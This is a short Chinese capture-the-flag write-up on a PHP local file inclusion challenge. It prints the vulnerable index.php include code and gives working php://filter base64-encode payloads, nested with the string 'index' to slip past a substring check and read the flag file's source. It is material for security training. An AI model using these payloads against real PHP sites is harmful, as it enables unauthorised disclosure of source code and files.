知识点:伪协议的嵌套
点一下是两张图片,但是这里要注意你点图片时URL会传入变量
尝试了一下模板注入发现不是,然后直接构造一句话木马发现也不行,但是当你在打开图片在传入的变量后面随便加上一个字母会发现自动加上了php
尝试用伪协议打开一下index.php,但是php不用加因为会自动加
base64解密一下,拿到php代码
<?php
$file = $_GET['category'];
if(isset($file))
{
if( strpos( $file, "woofers" ) !== false ||
strpos( $file, "meowers" ) !== false ||
strpos( $file, "index"))
{
include ($file . '.php');
}
else{
echo "Sorry, we currently only support woofers and meowers.";
}
}
?>
可以看到变量中必须包含三个的其中一个,这时候就需要利用伪协议的嵌套了
payload:/index.php?category=php://filter/read=convert.base64-encode/index/resource=flag
或者加到前面
/index.php?category=php://filter/read=index/convert.base64-encode/resource=flag
解码拿到